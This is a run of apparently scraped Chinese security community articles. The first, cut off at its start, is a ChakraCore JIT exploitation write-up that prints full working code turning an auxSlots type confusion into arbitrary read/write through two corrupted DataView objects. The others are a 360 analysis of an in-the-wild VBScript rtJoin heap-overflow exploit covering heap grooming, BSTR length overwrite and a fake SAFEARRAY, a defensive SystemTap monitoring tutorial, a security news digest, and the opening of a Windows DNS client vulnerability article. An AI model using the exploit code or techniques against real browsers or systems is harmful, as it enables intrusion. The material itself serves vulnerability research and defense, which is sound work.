除“a”和“b”之外的所有其他属性都未定义。这意味着为了将o.e定义在正确的槽中，我们首先需要为所有其他属性分配相应的空间，这个操作会破坏比所需更多的内存，从而导致我们的数组无法使用。
1. 原始的auxSlots数组不够大。它最初只分配了4个slot。如果我们定义了4个以上的属性，Js::DynamicTypeHandler::AdjustSlots函数将分配一个新的slot数组，并让auxSlots指向它，而非指向我们的JavascriptArray对象。
2. 我们原本打算放入JavascriptArray对象的length字段中的0xFFFFFFFF值将无法完全按原样写入。因为Chakra会使用所谓的标记型数字，因此，待写入的数字将被进行“包装”。（相关的细节，请参阅Chartra的博客文章）。
3. 即使我们能够用一些较大的值覆盖长度字段，同时避免破坏内存的其余部分，我们也只能得到一个“相对”的R\W原语（相对于数组基地址），其功能明显不如“绝对”R\W原语强大。
4. 实际上，覆盖JavascriptArray的长度字段是没有用的，这无法帮助我们实现所期望的相对R\W原语。在这种特殊情况下，真正需要做的是破坏数组的段大小，但我们不会在这里讨论。尽管如此，让我们假设覆盖长度字段是有用的，因为它很好地展示了该利用方法的精妙之处。
因此，我们需要找到一些特殊的技术，才能克服上述问题。现在，让我们先讨论问题1和问题2。首先要想到的是，在触发漏洞之前，可以先在“o”对象中预定义更多的属性。这样的话，当覆盖auxSlots指针时，我们就已经在与数组的长度字段相对应的正确槽中定义好了o.e。不幸的是，当预先添加更多属性时，会出现以下两种情况之一：
* 我们过早地将对象内存布局修改为布局(#1)，这样的话，从一开始就阻止了该漏洞的发生，因为，再也没有机会覆盖auxSlots指针了。
* 我们只是创建了更多的内联slot，而这些slot在触发该漏洞后始终保持内联状态。对象以布局(#2)结束，大多数属性位于新的内联slot中。因此，我们仍然无法抵达所谓的auxSlots数组中索引号高于slot2的slot，即“some_array”对象的内存。
Bruno
Keith在他的演讲中提出了一个很好的思路，可以同时解决问题1和问题2。该方法不是直接破坏目标对象（在我们的示例中是JavaScriptArray），而是首先破坏另一个预先准备好的、具有许多属性的DynamicObject，该对象已经位于内存布局(#1)中，具体如下所示：
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
some_array = [{}, 0, 1, 2];
...
opt(o, cons, obj); // o->auxSlots = obj
o.c = some_array; // obj->auxSlots = some_array
让我们看一下运行o.c=some_array；语句前后的内存状态：
运行之前：
o obj
+--------------+ +--->+--------------+ +->+--------------+
| vtable | | | vtable | //o.a | | slot 1 | // obj.a
+--------------+ | +--------------+ | +--------------+
| type | | | type | //o.b | | slot 2 | // obj.b
+--------------+ | +--------------+ | +--------------+
| auxSlots +---+ | auxSlots +--------+ | slot 3 | // obj.c
+--------------+ +--------------+ +--------------+
| objectArray | | objectArray | | slot 4 | // obj.d
+--------------+ +--------------+ +--------------+
| slot 5 | // obj.e
+--------------+
| slot 6 | // obj.f
+--------------+
| slot 7 | // obj.g
+--------------+
| slot 8 | // obj.h
+--------------+
| slot 9 | // obj.i
+--------------+
| slot 10 | // obj.j
+--------------+
运行之后：
o obj some_array
+--------------+ +--->+--------------+ +->+---------------------+
| vtable | | | vtable | //o.a | | vtable | // obj.a
+--------------+ | +--------------+ | +---------------------+
| type | | | type | //o.b | | type | // obj.b
+--------------+ | +--------------+ | +---------------------+
| auxSlots +---+ | auxSlots +-//o.c--+ | auxSlots | // obj.c
+--------------+ +--------------+ +---------------------+
| objectArray | | objectArray | | objectArray | // obj.d
+--------------+ +--------------+ |- - - - - - - - - - -|
| arrayFlags |
| arrayCallSiteIndex |
+---------------------+
| length | // obj.e
+---------------------+
| head | // obj.f
+---------------------+
| segmentUnion | // obj.g
+---------------------+
| .... |
+---------------------+
现在，执行obj.e=0xFFFFFFFF实际上将替换"some_array"对象的长度字段。但是，如问题3中所述，该值不会按原样写入，而是以"包装后"的形式写入。即使我们忽略问题3，问题4-5仍然会使我们所选择的对象无效。因此，我们应该选择另一个破坏的对象。Bruno巧妙地在漏洞利用代码中选择使用ArrayBuffer对象，但不幸的是，在提交CF71A962C1CE0905A12CB3C8F23B6A37987E68DF时，ArrayBuffer对象的内存布局已经发生了更改。它不再指向数据缓冲区，而是通过BufferContent字段指向名为RefCountedBuffer的中间结构，并且只有该结构指向实际数据。因此，我们需要一种不同的解决方案。
最终，我们想到了破坏DataView对象的方法，该对象实际上在内部使用了ArrayBuffer。因此，它与使用ArrayBuffer时具有类似的优点，它也直接指向ArrayBuffer的底层数据缓冲区！下面是使用ArrayBuffer初始化的DataView对象的内存布局（dv
= new DataView(new ArrayBuffer(0x100));）：
如我们所见，DataView对象指向的是ArrayBuffer对象。而ArrayBuffer则指向前面提到的RefCountedBuffer对象，然后，该对象指向内存中的实际数据缓冲区。但是，如前所述，DataView对象也直接指向实际的数据缓冲区！
如果我们用自己的指针覆盖DataView对象的缓冲区字段，我们实际上可以根据需要实现所需的绝对读写原语。所以，我们的障碍只剩下问题3——我们不能使用损坏的DynamicObject在内存中按原样写入数字（标记型数字……)。但是现在，由于DataView对象允许我们在其指向的缓冲区上按原样写入数字（有关详细信息，请参见[DataView“API”](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView#Methods
"DataView“API”")），我们可以再次借鉴Bruno的思路，使用两个DataView对象，其中第一个对象指向第二个对象，并按照我们希望的方式来破坏它。这样，就能解决了最后一个问题，并获得了梦寐以求的绝对R\W原语。
让我们回顾一下整个利用过程，具体见下面的图示和说明(这里省略了我们不感兴趣的对象)：
1. 触发将"o"对象的auxSlots设置为“obj”对象（opt(o, cons, obj);）的漏洞。
2. 使用“o”对象将“obj”对象的auxSlots设置为第一个DataView（o.c = dv1;）。
3. 使用“obj”对象将第一个DataView (‘dv1’) 的缓冲区字段设置为下一个DataView对象(obj.h = dv2;）。
4. 使用第一个DataView对象“dv1”将第二个DataView对象“dv2”的缓冲区字段精确设置为指定的地址(dv1.setUint32(0x38, 0xDEADBEEF, true); dv1.setUint32(0x3C, 0xDEADBEEF, true);）。大家请注意观察这里是如何将所选地址(0xDEADBEEFDEADBEEF)写入“dv2”缓冲区字段的精确偏移量(0x38)的。
5. 使用第二个DataView对象(“dv2”)读写指定的地址(dv2.getUint32(0, true); dv2.getUint32(4, true);）。
6. 对于要执行的每个读写操作，我们都要重复步骤4和5。
下面是完整的R\W原语代码：
// commit 331aa3931ab69ca2bd64f7e020165e693b8030b5
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
BASE = 0x100000000;
function hex(x) {
return "0x" + x.toString(16);
}
function opt(o, c, value) {
o.b = 1;
class A extends c {}
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, (function () {}), {});
}
let o = {a: 1, b: 2};
let cons = function () {};
cons.prototype = o;
opt(o, cons, obj); // o->auxSlots = obj (Step 1)
o.c = dv1; // obj->auxSlots = dv1 (Step 2)
obj.h = dv2; // dv1->buffer = dv2 (Step 3)
let read64 = function(addr_lo, addr_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// read from addr (Step 5)
return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
}
let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// write to addr (Step 5)
dv2.setInt32(0, value_lo, true);
dv2.setInt32(0, value_hi, true);
}
// get dv2 vtable pointer
vtable_lo = dv1.getUint32(0, true);
vtable_hi = dv1.getUint32(4, true);
print(hex(vtable_lo + vtable_hi * BASE));
// read first vtable entry using the R\W primitive
print(hex(read64(vtable_lo, vtable_hi)));
// write a value to address 0x1111111122222222 using the R\W primitive (this will crash)
write64(0x22222222, 0x11111111, 0x1337, 0x1337);
}
main();
注意:如果您想自己调试代码（例如，在WindBG中），一个非常方便的方法是使用“instruments”中断JS代码中感兴趣的行。为此，请参阅以下两个有用的示例：
* 在ch!WScriptJsrt::EchoCallback上设置断点，以在执行print();时停下来。
* 在chakracore!Js::DynamicTypeHandler::SetSlotUnchecked上设置断点，以便解释器在执行为DynamicObject属性赋值的语句前停下来。这对于了解JavaScript对象(“o”和“obj”)如何损坏内存中的其他对象非常有用。
当然，您可以将两者结合使用，就能轻松地浏览整个利用代码了。
## 小结
本文中，我们详细介绍了如何使用DynamicObject
auxSlots的JIT损坏来最终获得完整的R\W原语。在这里，我们必须使用损坏的对象来进一步破坏其他感兴趣的对象——特别是两个DataView对象，其中第一个会精确地破坏第二个，以控制原语的选择地址。同时，我们还必须设法绕过使用javascript的DynamicObject“API”强加的一些限制和问题。最后，需要注意的是，获取完整的R\W原语只是利用该漏洞的第一步。攻击者仍然需要重定向执行流，以获得完整的RCE。然而，这已经超出了本文的范围，或者，也可以看作是留给读者的作业。 | 社区文章 |
# 被遗漏的0day ? —APT-C-06组织另一网络武器库分析揭秘
##### 译文声明
本文是翻译文章，文章原作者 360核心安全，文章来源：blogs.360.cn
原文地址：<http://blogs.360.cn/post/VBScript_vul_CH.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近日，360核心安全事业部高级威胁应对团队又发现若干vbscript漏洞的在野利用。其中包括CVE-2016-0189、CVE-2018-8373和另一个此前不为人所知的漏洞(我们暂未确定它的cve编号)。这三个漏洞，加上我们在今年4月发现的CVE-2018-8174，一共是4个vbscript在野利用。经过分析，我们发现这4个文件的混淆和利用手法都高度一致，我们怀疑背后有一个写手(或团队)，一直在开发vbscript的0day利用并用于攻击。
如下为我们抓到的4个漏洞的在野利用：
## 被遗漏的0day？
由于其他三个漏洞都已出现过分析文章，本文我们将重点分析未被公开过的第四个vbscript 0day。
该漏洞利用一直隐藏得非常隐蔽，我们发现该漏洞在2017年3月更新中被修复，微软修复时没有提到该漏洞被利用，我们推测这个漏洞可能是微软并未发现利用而修复。可以定位到的最后一个可以触发该漏洞的版本是
vbscript.dll 5.8.9600.18538，在vbscript.dll 5.8.9600.18616
中，该漏洞被修复。有意思的是，我们发现相关利用的出现时间早于2017年3月，这也意味着该漏洞在当时是一个0day。遗憾的是，我们并未找到其他厂商对该漏洞的分析文章。
下面我们将和大家分享该漏洞的成因和利用方式。
## 漏洞分析
### 概述
这个漏洞位于vbscript!rtJoin函数。当执行vbscript的join语句时，VbsJoin函数会调用rtJoin，rtJoin首先遍历传入的数组中的每个元素，并计算拼接后的字符串总长度(包括拼接字符，默认为unicode空格0x0020)。然后调用SysAllocStringLen分配相应的空间，用于保存拼接后的字符串。
实际分配的空间大小 = (要分配的字节数 + 0x15) & 0xfffffff0
(参见oleaut32!SysAllocStringLen及oleaut32!CbSysStringSize的实现)
字符串起始地址前4字节为字符串的字节长度(参见BSTR结构)。上述整个过程的伪代码如下所示：
相应的栈回溯如下：
随后解析流程会逐个拷贝字符串到新分配的空间，这个过程中会使用保存在栈上的字符串地址获取每个字符串的长度，以作为memcpy的size参数。当数组元素里面有类对象时，会触发类对象的Default
Property
Get回调获取默认属性，在回调中可以对数组中的其他成员进行操作，例如更改字符串大小。只要精确控制更改前后的字符串大小，通过(下图中第一个)memcpy拷贝的数据大小就有可能超出前面由SysAllocStringLen分配的空间，从而导致堆溢出。上述整个过程的伪代码如下所示：
PoC 我们构造了一个该漏洞的poc，供研究人员分析使用：
### 代码分析
#### 内存布局
原利用代码首先进行内存布局(prepare)，然后第一次利用漏洞(exp_1)，覆盖一个BSTR对象的长度域，得到一个超长BSTR对象，并借助该BSTR去获取一块之前准备好的内存地址；成功后，再次利用漏洞(exp_2)去覆盖一个伪造的字符串的对象类型为数组(200c)，从而得到一个数据起始地址为0，元素大小为1，元素个数为0x7fffffff的超长一维数组。
随后借助第一次获得的内存地址和第二次获得的超长数组实现任意地址读取，后续的利用方式和之前被披露的细节基本一致。
prepare上半部分代码如下图所示。
在这部分代码中，str_h的字符串长度为0x4fec字节，SysAllocStringLen实际分配的空间为0x5000字节((0x4fec+0x15) &
0xfffffff0 =
0x5000)，str_o的字符串长度为0x4ff6字节，SysAllocStringLen实际分配的空间为0x5000字节((0x4ff6+0x15) &
0xfffffff0 = 0x5000)。array_a和array_b是2个数组，每个数组的实际数据区域占的空间为0xa00*0x10 =
0xa000字节(每个元素为一个VAR结构体)。
需要注意的是，0x4fec2 + 0x18 + 0x22 = 0x9ff4，(0x9ff4+0x15) & 0xfffffff0 = 0xa000,
这些值在下文会提到。
prepare下半部分如下图所示。
str_left_0大小为0x4ffa字节(get_left_str_a_by_size会将传入的参数减6字节)，SysAllocStringLen分配的空间为0x5000字节((0x4ffa
+ 0x15) & 0xfffffff0 = 0x5000)；
str_left_1大小为0x9ffa字节，SysAllocStringLen分配的空间为0xa000字节((0x9ffa + 0x15) &
0xfffffff0 = 0x5000)。
随后将array2数组的每一个元素都赋值为str_left_1(实际内存大小为0xa000)，将array3数组的每一个元素都赋值为实际内存大小为0xa000的array_b(见上文)。
到这里内存布局便完成了，之后只要先将array2(在exp_1中操作)或array3(在exp_2中操作)的部分元素进行释放，就会有大量0xa000的内存空洞，此时立即申请0xa000字节大小就有可能对释放的内存进行重用。
只要保证rtJoin函数中的SysAllocStringLen申请的大小为0xa000字节，结合上述漏洞就可实现对array2某个str_left_1对象或array3数组中某个array_b对象的数据覆盖，这些会在后面详细描述。
#### 改写BSTR长度
在exp_1中，第一次触发漏洞，改写一个BSTR对象的长度为0xfffffffe。
首先给array_c第1个和第2个元素赋值为str_h(字符串长度为0x4fec字节，实际占用的空间为0x5000字节，见上文)，给第3个元素赋值为class_a的对象，而class_a的Default
Property Get会返回一个长度为0x18字节的长度(0x1a-0x6+0x4 =
0x18),这样array的三个元素加上分隔字符拼接后占用的长度为0x9ff4(0x4fec+0x4fec+0x18+0x2+0x2 = 0x9ff4)
在触发漏洞前先调用make_hole_of_array2前释放array2中的一半元素，以生成足够的大小为0xa000的内存空洞。
make_hole_of_array2调用前后后对应的内存布局如下，可以发现array2中一半字符串内存均被释放，对于下标在0x00-0x7F区间内的元素，偶数部分被释放；对于下标在0x80-0xFF区间的元素，奇数部分被释放：
随后在rtJoin中的SysAllocStringLen会申请分配一个总长度为0xa000字节的BSTR((0x9ff4 + 0x15) &
0xfffffff0 = 0xa000)。由于windows的堆分配算法，该内存会从上图右边的空闲堆块中重用一个。
在class的Default Property
Get中，先释放array_c的第1、2个元素(设为Nothing)，并立即将它们赋值为str_o(字符串长度为0x4ff6字节，实际占用的空间为0x5000字节)。
这里需要注意两点:
* 1) 2次赋值为str_o的操作会重用刚释放的2个0x5000内存块(即原先两个str_h占据的内存)。
* 2) 重用后，相同地址处的字符串长度和内容发生了变化(一开始是str_h，长度为0x4fec字节，现在是str_o，长度为0x4ff6)，所以在rtJoin中进行memcpy前重新获取的字符串长度分别为0x4ff6，0x4ff6，0x18，再加上2次分隔字符的大小0x4，memcpy总共复制的数据长度为0xa008，相比0x9ff4字节多出了0x14字节，多出的字节中的最后4字节则会覆盖array2中相邻str_left_1对象的长度域，在利用代码中，攻击者将原str_left_1的长度覆写为了0xfffffffe。
错位过程如下图所示：
随后，借助超长字符串获取前面准备的字符串地址，用于后续使用。
下图为在prepare中准备的字符串：
#### 构造超长数组
在exp_2中，第二次触发漏洞，将fake_array对应字符串的类型改为0x200c，方法同覆盖字符串长度一致，此处不再重复描述。
fake_array是个字符串，它实际为一份伪造的tagSAFEARRAY结构。
以下为寻找类型混淆后的超长数组，用于后面使用：
#### 任意地址读
随后样本借助前面获得的字符串地址和超长数组封装了一组任意地址读取的功能函数，供后面使用。
#### 构造辅助函数
具备了任意地址读取能力后，利用封装了若干辅助函数：
随后通过以下方式泄露CScriptEntryPoint对象的虚表地址
随后借助封装好的辅助函数获取vbscript.dll基地址，再通过遍历vbscript.dll导入表获取msvcrt.dll基地址,
msvcrt.dll又引入了kernelbase.dll、ntdll.dll，最后获取了NtContinue、VirtualProtect等函数地址，整个过程如下：
#### 执行shellcode
原利用代码在windows 7和windows 8环境中，执行shellcode的方式与之前CVE-2018-8174相同。在windows
8.1和windows 10环境中所用的方式与低版本系统中略有不同。
### 动态调试
#### 内存布局
prepare函数中内存布局完成后array2、array3和array_c的pvData分别如下所示。
#### 内存重用
首先是Public Default Property Get回调中str_o字符串对str_h字符串内存的重用。重用后整体内存大小不变，字符串长度发生变化。
然后是SysAllocStringLen申请0xa000大小内存时对array2中某个被释放的0xa000字符串的重用。从下图中可以看到，第一次触发漏洞前重用的内存是刚被释放的array2(0x81)。随后array2(0x82)对应字符串的长度将被覆写。
#### 改写BSTR长度
在exp_1中第一次触发漏洞，改写某个str_left_1字符串的长度域。
#### 构造超长数组
在exp_2中再次进行内存重用，此时的SysAllocStringLen申请的0xa000内存重用的是array3(0x81)刚释放的内存(释放方式与array2相同)，随后array3(0x82)相关内存的首部将被改写。
第二次触发漏洞，将精心准备的fake_array字符串的type由0008改写为200c，从而得到一个超长一维数组。
#### 执行shellcode
在windows 7和windows 8下的shellcode执行细节可参考我们之前写的CVE-2018-8174分析文章。 在window
8.1和windows 10环境中，样本用了一些其他技巧来Bypass CFG(在我们的测试中，该方式可以在早期版本的windows 8.1和windows
10中成功)。关于这部分的更多细节，我们会在后面的文章中进行披露。
## 补丁分析
以下是补丁前后Bindiff工具的比对结果。
可以看到，补丁文件中在拷贝每个数组元素到join_list之前，会先通过SysAllocString将字符串数据保存一份，这样即使在后面回调中更改了初始的字符串长度，在执行memcpy进行内存拷贝时也会使用SysAllocString函数拷贝的那份数据，从而使SysAllocStringLen申请的内存大小和memcpy拷贝的数据大小相同，从而修复了漏洞。
## 与APT-C-06的关联分析
我们对四个vbscript漏洞的shellcode进行了关联分析，我们发现cve-2016-0189、本次漏洞和cve-2018-8174所用的shellcode除配置的CC外基本一致，cve-2018-8373的shellcode略有不同，但也非常相似。我们推测本次漏洞也是APT-C-06(又名Darkhotel)武器库中的一个。
## 福利
读者有没有发现rtJoin函数中还存在一处整数溢出点，如下：
我们查找了vbscript里面join系列函数相关的整数溢出漏洞，发现有一个漏洞是CVE-2017-11869，我们对该漏洞修复前后的vbscript.dll做了一次补丁比对，并且发现了一些有意思的修改点，如下：
有兴趣的读者可以深入研究一下CVE-2017-11869。
## 结论
本文我们分享了本年度发现的第三个vbscript的漏洞细节，其利用手法和之前几个同样精彩。我们相信vbscript里面还有其他类似问题，同时推测相关开发团伙手上还有其他类似的漏洞利用，请广大用户提高警惕。
## 参考链接
<http://blogs.360.cn/post/cve-2018-8174.html>
<https://www.zerodayinitiative.com/advisories/ZDI-17-916/> | 社区文章 |
## 引言
假如现在有这么一个需求：需要获取正在运行的 Linux 系统的信息，如我想知道系统什么时候发生系统调用，发生的是什么系统调用等这些信息，有什么解决方案呢？
通俗一点讲，上面的需求可以转化为应对日常应急可能遇到的一些场景：
1、谁在Linux系统上谁在发送DNS（UDP）、ICMP、ARP请求？例如挖矿病毒（矿池失活）、PingTunnel等。
2、哪个进程在对某个文件进行写入？
3、在没有网络设备的情况下，监控所有外对内的连接尝试（无论成功与否）。
4、进程创建、终止，进程模块的加载、卸载。
5、检测rootkit
6、等等
以上需求都可以总结为： **对Linux内核调用进行调试跟踪** 。
## Linux下内核调试技术的发展
Linux下的调试技术分为动态调试和静态调试。
#### 静态调试
静态调试又名
“插桩”，tracepoint。在Linux发展的早期，实现对Linux内核的调试，需要编写内核模块，对开发要求比较高，同时容易干扰内核的稳定运行。编写、编译、安装到内核，过程繁琐、效率低下、灵活性差。
#### 动态调试
类似Win下的动态调试。更加灵活地捕获内核调用，使用门槛低，稳定且几乎无干扰。早期的动态调试器有GDB、KDB等。
动态追踪技术的鼻祖是Dtrace，它于 21 世纪初诞生于 Solaris 操作系统，是由原来的 Sun Microsystems
公司的工程师编写的，先后被移植到 Linux、FreeBSD、NetBSD 及 Mac OS X 等操作系统上。iOS 系统上大名鼎鼎的
Instrument 工具就是基于 DTrace 实现的。Mac OS X 默认安装了dtrace工具；脚本使用D语言编写，也叫 d 脚本，Mac OS
X的/usr/share/examples/DTTk/目录下有很多例子。Dtrace技术原理如下图：
Linux 在过去十多年的发展中, 演化了很多追踪与调试技术, 不过一直没有一款可以媲美 DTrace 的工具, 直到 Linux 4.1+ 版本 eBPF
机制的出现, 这种情况才得到了极大的改善. 不过 eBPF 也不是一蹴而就的, 而是经过了漫长的过程才得以完善。Linux下动态调试技术出现时间：
#### kprobe
* kprobe调试技术是专门为了便于跟踪内核函数执行状态所设计的一种轻量级内核调试技术。
* 利用kprobe技术，可以在内核的绝大多数指定函数中动态的插入探测点来收集所需的调试状态信息而基本不影响内核原有的执行流程。
* kprobe技术目前提供了3种探测手段：kprobe、jprobe和kretprobe，其中jprobe和kretprobe是基于kprobe实现的，他们分别应用于不同的探测场景中。
## SystemTap是什么
systemtap 是利用Kprobe
提供的API来实现动态地监控和跟踪运行中的Linux内核的工具，相比Kprobe，systemtap更加简单，提供给用户简单的命令行接口，以及编写内核指令的脚本语言，类似C语言、D语言。
#### systemtap原理
SystemTap
基本思想是命名事件，并为它们提供处理程序。每当发生指定的事件时，内核都会将处理程序视为子例程运行，然后继续运行。有一系列的事件，例如进入或退出函数，计时器到期或整个SystemTap会话的开始和停止。处理程序是一系列脚本语言语句，用于指定事件发生时要完成的工作。这项工作通常包含从事件上下文中提取数据，将其存储到内部变量或打印结果。
SystemTap
的工作原理是将脚本翻译成C语言，执行C编译器创建一个内核模块。当模块被加载后，通过挂载到内核来激活所有的探测事件。然后，当事件发生再任何处理器上时，编译后的处理程序就运行，最终，SystemTap会话停止，Hook取消，内核模块被移除，整个过程由命令行程序stap驱动。
原理如下图所示：
## systemtap实践
#### 安装
以较老的系统（CentOS6.8 x64为例），查看内核版本，并下载与内核版本完全一致调试依赖包：
kernel-debuginfo
kernel-debuginfo-common
kernel-devel
**手动安装**
rpm -ivh kernel-debuginfo-common-x86_64-2.6.32-642.el6.x86_64.rpm
rpm -ivh kernel-debuginfo-2.6.32-642.el6.x86_64.rpm
rpm -ivh kernel-devel-2.6.32-642.el6.x86_64.rpm
yum install systemtap systemtap-runtime #yum安装systemtap
**测试**
stap -V
stap -h
stap -e 'probe begin{printf("Hello, World\n"); exit();}'
如果提示 Incorrect version or missing kernel-devel package, use: yum install
kernel-devel-xxxxx
则安装的kernel-devel版本与内核不匹配。
#### 工作流程解释
#### 重要文件和目录
/lib/modules/KERNEL_VERSION/systemtap/ 保存 SystemTap 工具模块。
/usr/share/systemtap/tapset/ 保存标准的 tapset 库。
/usr/share/doc/packages/systemtap/examples 保存用于各种目的的多个示例 SystemTap 脚本。仅当已安装
systemtap-docs 软件包时才可用。
~/.systemtap/cache 缓存的 SystemTap 文件的数据目录。
/tmp/stap* SystemTap 文件的临时目录，包含已转换的 C 代码和内核对象。
#### 脚本
systemtap脚本默认文件后缀为.stp，文件内容有固定的格式，有完整的语法（变量、常量、注释、条件、循环、数组等等）。begin/end,
分别是systemtap会话的起始和结尾，IDE推荐VSCode。如下图所示：
systemtap脚本编写参考： <https://sourceware.org/systemtap/tutorial/>
#### 可探测事件
Kprobes允许你为任何内核指令以及函数入口和函数返回处理程序安装预处理程序和后处理程序。
常用的可探测事件如下：
tid() 当前线程的 ID。
pid() 当前线程的进程 ID。
uid() 当前用户的 ID。
cpu() 当前 CPU 编号。
execname() 当前进程的名称。
gettimeofday_s() 自 Unix 纪元（1970 年 1 月 1 日）起经过的秒数。
ctime() 将时间转换为字符串。
pp() 用于描述当前正在处理的探测点的字符串。
函数大全：<https://sourceware.org/systemtap/tapsets/index.html>
#### 实际应用
**监控DNS请求**
脚本原理：判断外联目标端口为53
#! /usr/bin/env stap
global the_dport = 53
probe netfilter.ip.local_out {
if (the_dport == dport)
printf("%s[PID:%d,TID:%d] sent packet to %s:%d\n", execname(), pid(), tid(), daddr, dport)
}
**监控ICMP请求**
脚本原理： netfilter.ip.local_out 为所有协议外联，ICMP的目标端口为0
#! /usr/bin/env stap
probe netfilter.ip.local_out {
if (0 == dport)
printf("%s[PID:%d,TID:%d] sent %d to %s:%d\n", execname(), pid(), tid(),length, daddr, dport)
}
probe netfilter.ip.local_in {
if (0 == sport)
printf("%s recv %d from %s:%d\n", execname(),length, saddr, sport)
}
**监控传入TCP连接（连接成功的）**
脚本原理：传入握手成功，会有accept标识
#! /usr/bin/env stap
probe begin {
printf("%6s %16s %6s %6s %16s\n",
"UID", "CMD", "PID", "PORT", "IP_SOURCE")
}
probe kernel.function("tcp_accept").return?,
kernel.function("inet_csk_accept").return? {
sock = $return
if (sock != 0)
printf("%6d %16s %6d %6d %16s\n", uid(), execname(), pid(),inet_get_local_port(sock), inet_get_ip_source(sock))
}
**监控传入TCP连接尝试（不管成功与否）**
脚本原理：监控receive，如果是传出则用sendmsg
#! /usr/bin/env stap
probe tcp.receive {
if(dport!=22) #exclude 22 port
printf("%s:%d --> %s:%d\n", saddr, sport, daddr, dport)
}
**监控TCP连出（不管成功与否）**
脚本原理：监控receive，如果是传出则用sendmsg
probe begin {
printf("ok\n");
}
probe syscall.connect {
if (uaddr_af == "AF_INET" || uaddr_af == "AF_INET6")
printf("%s[%d]: %s\n", execname(), pid(), argstr);
}
curl baidu.com效果：
nc 8.8.8.8 9999，无法连接成功的端口，效果：
**监控对文件的操作**
#!/usr/bin/stap
probe vfs.{write,read}
{
# dev and ino are defined by vfs.write and vfs.read
if (dev == MKDEV($1,$2) && ino == $3)
printf ("%s(%d) %s(%d) %s 0x%x/%u\n",execname(), pid(), pexecname(), ppid(), ppfunc(), dev, ino)
}
步骤：
先获取要监控的文件信息：
使用df查看log.txt 所在的设备
log.txt在/的子文件夹下，所以要找/dev/mapper/centos-root的主从设备号
得到根目录的主从设备号为253 0
所以inodewatch.stp的参数为253 0 36398378
执行
stap /usr/share/systemtap/examples/io/inodewatch.stp 253 0 52092325
效果如下：
## 结束语
SystemTap的功能远不止这些，除了内核调试，还可以实现用户态的调试。本文仅抛砖引玉。
## 相关参考
debuginfo下载
<https://mirrors.ocf.berkeley.edu/centos-debuginfo/>
<https://oss.oracle.com/el6/debuginfo/>
<http://debuginfo.centos.org/6/x86_64/>
kernel-devel下载
ftp://ftp.pbone.net/mirror/ftp.scientificlinux.org/linux/scientific/
<https://www.central.org/dl/linuxdev/>
systemtap 官方教程
<https://sourceware.org/systemtap/tutorial/1_Introduction.html>
《SystemTap: Instrumenting the Linux Kernel for Analyzing Performance and
Functional Problems》
<https://www.redbooks.ibm.com/redpapers/pdfs/redp4469.pdf>
systemtap 内置函数库（tapset）
<https://sourceware.org/systemtap/tapsets/index.html>
Linux 系统动态追踪技术介绍
<https://blog.arstercz.com/introduction_to_linux_dynamic_tracing/> | 社区文章 |
# 【知识】10月23日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：DHS与FBI发布预警称APT组织正积极攻击能源设施、 ** ** **泄露文档表明NSA早已开始利用KRACK攻击****** 、
**谷歌承诺不为新闻网站提供用户数据** 、链接劫持——过期链接利用、 **关于空指针的内核利用** 、防止SSL被取消：简单入门。**
****
**资讯类：**
DHS与FBI发布预警称APT组织正积极攻击能源设施
<http://securityaffairs.co/wordpress/64625/apt/dhs-energy-firms-attacks.html>
泄露文档表明NSA早已开始利用KRACK攻击
<http://securityaffairs.co/wordpress/64601/hacking/krack-attack-nsa.html>
谷歌承诺不为新闻网站提供用户数据
<https://news.slashdot.org/story/17/10/22/2016225/google-says-it-hasnt-promised-to-help-news-sites-by-sharing-money-and-user-data>
**技术类：**
链接劫持——过期链接利用
<https://edoverflow.com/2017/broken-link-hijacking/>
V2X通信分析
<http://www.newelectronics.co.uk/electronics-technology/securing-v2x-communications/162864/>
关于空指针的内核利用
<https://0x00sec.org/t/kernel-exploitation-dereferencing-a-null-pointer/3850>
防止SSL被取消：简单入门
<https://blog.cloudflare.com/performing-preventing-ssl-stripping-a-plain-english-primer/>
谷歌开源安全研究
<https://github.com/google/security-research-pocs>
Shodan检查脚本
<https://github.com/juliocesarfort/netscreen-shodan-scanner>
Apache James 3.0.1 JMX Server Deserialization 反序列化漏洞分析
<https://nickbloor.co.uk/2017/10/22/analysis-of-cve-2017-12628/> | 社区文章 |
# 【技术分享】快报！Windows DNS客户端中惊现多重堆缓冲区溢出漏洞
|
##### 译文声明
本文是翻译文章，文章来源：bishopfox.com
原文地址：<https://www.bishopfox.com/blog/2017/10/a-bug-has-no-name-multiple-heap-buffer-overflows-in-the-windows-dns-client/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**介绍**
****
微软已经在2017年10月份正式修复了漏洞 **CVE-2017-11779** ，该漏洞包含Windows
DNS客户端中的多个内存崩溃漏洞，运行了Windows 8/Server
2012以及更新版本操作系统的计算机都将会受到该问题的影响，攻击者将能够通过恶意DNS响应来触发这些漏洞。在这个漏洞的帮助下，攻击者将能够在发送DNS请求的应用程序之中实现任意命令执行。
这也就意味着，如果攻击者能够控制你的DNS服务器（例如通过中间人攻击或恶意WiFi热点），那么他们就能够获得你系统的访问权。受该问题影响的不仅仅是你的Web浏览器，因为你的计算机系统会在后台不停地发送DNS查询请求，而攻击者只需要响应用户的查询请求就可以触发这些漏洞并实施攻击了。
研究人员在下面这个视频中对漏洞CVE-2017-11779进行了简单介绍，如果你想了解更多技术细节的话，请继续阅读本文。
视频：
**漏洞概述**
****
